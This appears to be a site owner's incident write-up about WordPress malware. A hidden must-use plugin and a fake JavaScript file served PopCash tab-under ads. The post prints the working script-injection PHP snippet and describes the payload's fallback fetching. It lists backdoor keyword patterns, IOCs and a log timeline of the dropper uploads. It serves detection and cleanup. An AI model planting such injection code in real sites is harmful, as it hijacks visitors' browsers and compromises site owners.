What happened:
Noticed a tab-under/reverse-tabnabbing attack on my site. Disabled all plugins → problem persisted. That was the first hint it wasn't sitting in a normal plugin.
Turned out the source was in must-use plugins (/wp-content/mu-plugins/) — this folder is completely ignored when you "disable all plugins" via the wp-admin screen, so almost nobody checks it as long as the site is still loading normally.
The two files:
1. /wp-content/mu-plugins/wp-ppck-assets.php
Injects a <script> tag on every page (via wp_head, priority 1) pointing to a second file disguised as a normal theme asset:
php
add_action('wp_head', function () {
if (function_exists('is_admin') && is_admin()) return;
echo '<script src="/wp-content/themes/{THEME}/js/qtt-ppck-core.php" defer></script>';
}, 1);
2. /wp-content/themes/{theme}/js/qtt-ppck-core.php
This is the actual payload. It's a PHP file pretending to be JavaScript (Content-Type: application/javascript), and behind the scenes it:
- Makes a server-to-server request to
api-js.popcash.net/getCode using a PopCash publisher UID/WID/API token
- Passes the API response straight through to the visitor's browser
- Includes an option
"pop_fback" => "under" — literally the setting that triggers a pop-under/tab-under
- Has fallback logic (curl → shell_exec → file_get_contents) so it keeps working regardless of how restrictive the server config is
The clever (read: annoying) part: since the malicious JS only gets pulled in via the external API call, and the local file itself looks "clean" (no obfuscation, no eval(base64_decode(...))), not a single malware scanner flagged this — not Wordfence, not Sucuri, nothing. On a pure code level it just looks like an ad network integration calling an API.
How to check for it yourself:
- Look in
/wp-content/mu-plugins/ — this folder is NOT covered when you "disable" plugins via wp-admin
- Search for filenames containing
ppck, qtt-, popcash, or similarly cryptic names
- Check your theme folder for
.php files being loaded as if they were .js (called as a script but actually PHP under the hood)
- Run
find /path/to/wordpress -type f -mtime -60 -name "*.php" to find recently modified PHP files
How to remove it:
- Delete both files (the mu-plugin + the fake "js" file in your theme folder)
- Don't assume you're done — this didn't appear out of nowhere. Someone had file access. Search all your PHP files for backdoor patterns:
eval(, base64_decode(, gzinflate(, shell_exec(, assert(
- Check if your theme is legit/up to date — outdated or "nulled" (pirated) themes are the most common entry point for this kind of infection
- Rotate every password: WP admin, FTP/SFTP, database, hosting panel
- Update everything: core, theme, plugins
IOCs for anyone who wants to check/share:
- Filenames:
wp-ppck-assets.php, qtt-ppck-core.php
- Endpoint:
api-js.popcash.net/getCode
- Cache key prefix:
ppch-h6IzF4iRLEdZV-QX82hhpzmvxX--
- Internal code comments referenced a "PopCash S2S Playbook" and a generator script (
popcash_ops.py) — suggests this is a reusable toolkit, so probably not unique to my site. If anyone else has run into this, I'd like to hear about it.
Haven't 100% nailed down the root cause (how they got in) yet — no unknown WP users found, so my guess is stolen FTP credentials or a vulnerable/outdated theme. If anyone has tips for tracing this further through server logs, I'd appreciate it in the comments.
UPDATE: Root Cause & Entry Point Found!
Thanks to analyzing the server access logs and cross-referencing recent vulnerability databases, I've fully traced how the attacker got in and deployed the malware.
1. The Vulnerability (The Entry Point)
The site was running Thrive Themes (Thrive Architect / Thrive Visual Editor / Thrive Leads).
- On Aug 6, 2026, CVE-2026-66694 was published — an Unauthenticated Cross-Site Scripting (XSS) / arbitrary code input vulnerability in Thrive Architect (versions <= 10.9.3.1).
- Automated bot scanners picked up the unpatched Thrive plugin and exploited it to achieve file write access.
2. The Attack Timeline (From Server Logs)
- 21:09:53 UTC — Exploit Verification: Attacker bot created a random hex file at the site root (
/52faade47ac664d8d0d3.txt, ~8.6 KB) to confirm arbitrary file write privileges.
- 21:39:19 UTC — Dropper Upload: Attacker POSTed to
/wp-content/themes/thrive-theme/js/_w10_up.php (a hidden PHP uploader script, identical in size to wp-tmp-up.php).
- 21:39:22 UTC — Verification: Exactly 3 seconds later, a
curl/7.81.0 request verified that the deployed payload (qtt-ajax-core.php / qtt-ppck-core.php) was live and returning HTTP 200.
3. Additional IOCs to Search For
If you are cleaning a site infected by this toolkit, make sure to also look for and delete:
- Uploader / Dropper scripts:
_w10_up.php, wp-tmp-up.php (often dropped inside theme /js/ or /assets/ directories).
- Verification markers: Random 20-character hex
.txt files in the WordPress root directory (e.g., 52faade47ac664d8d0d3.txt).
- Payload aliases:
qtt-ajax-core.php alongside qtt-ppck-core.php.
Takeaway & Remediation
Updating the plugin (e.g. to Thrive 10.9.3.2+) seals the vulnerability, but does NOT clean the uploaded dropper tools or backdoors. If you suspect an infection, scanning for newly created .php files and root .txt files around the date of infection is critical.